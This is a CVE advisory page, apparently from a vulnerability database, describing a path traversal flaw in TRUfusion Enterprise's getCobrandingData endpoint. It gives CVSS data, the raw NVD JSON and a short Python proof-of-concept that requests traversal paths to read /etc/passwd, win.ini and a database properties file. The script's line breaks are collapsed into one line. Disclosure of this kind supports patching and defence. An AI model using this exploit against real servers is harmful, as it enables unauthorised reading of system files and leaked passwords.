Security Vulnerability Report
中文
CVE-2025-27222 CVSS 8.6 HIGH

CVE-2025-27222

Published: 2025-10-27 17:15:38
Last Modified: 2025-11-03 16:57:44

Description

TRUfusion Enterprise through 7.10.4.0 uses the /trufusionPortal/getCobrandingData endpoint to retrieve files. However, the application doesn't properly sanitize the input to this endpoint, ultimately allowing path traversal sequences to be included. This can be used to read any local server file that is accessible by the TRUfusion user and can also be used to leak cleartext passwords of TRUfusion Enterprise itself.

CVSS Details

CVSS Score
8.6
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N

Configurations (Affected Products)

cpe:2.3:a:rocketsoftware:trufusion_enterprise:*:*:*:*:*:*:*:* - VULNERABLE
TRUfusion Enterprise <= 7.10.4.0

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# CVE-2025-27222 PoC - TRUfusion Enterprise Path Traversal import requests import sys target = sys.argv[1] if len(sys.argv) > 1 else 'http://target:8080' # Read sensitive files using path traversal paths = [ '/trufusionPortal/getCobrandingData?fileName=../../../etc/passwd', '/trufusionPortal/getCobrandingData?fileName=../../../windows/win.ini', '/trufusionPortal/getCobrandingData?fileName=../../../TRUFUSION_HOME/conf/database.properties' ] for path in paths: url = target + path print(f'[*] Requesting: {url}') try: response = requests.get(url, timeout=10) if response.status_code == 200: print(f'[+] Success! Content length: {len(response.content)}') print(response.text[:500]) else: print(f'[-] Failed with status: {response.status_code}') except Exception as e: print(f'[-] Error: {e}')

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-27222", "sourceIdentifier": "[email protected]", "published": "2025-10-27T17:15:37.853", "lastModified": "2025-11-03T16:57:43.870", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "TRUfusion Enterprise through 7.10.4.0 uses the /trufusionPortal/getCobrandingData endpoint to retrieve files. However, the application doesn't properly sanitize the input to this endpoint, ultimately allowing path traversal sequences to be included. This can be used to read any local server file that is accessible by the TRUfusion user and can also be used to leak cleartext passwords of TRUfusion Enterprise itself."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N", "baseScore": 8.6, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "CHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 4.0}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-22"}, {"lang": "en", "value": "CWE-35"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:rocketsoftware:trufusion_enterprise:*:*:*:*:*:*:*:*", "versionEndIncluding": "7.10.4.0", "matchCriteriaId": "2E26A047-ED87-40AB-B487-B4265139A603"}]}]}], "references": [{"url": "https://github.com/MrTuxracer/advisories/blob/master/CVEs/CVE-2025-27222.txt", "source": "[email protected]", "tags": ["Exploit", "Third Party Advisory"]}, {"url": "https://www.rcesecurity.com/2025/09/when-audits-fail-four-critical-pre-auth-vulnerabilities-in-trufusion-enterprise/", "source": "[email protected]", "tags": ["Exploit", "Third Party Advisory"]}, {"url": "https://www.rocketsoftware.com/products/rocket-b2b-supply-chain-integration/rocket-trufusion-enterprise", "source": "[email protected]", "tags": ["Product"]}]}}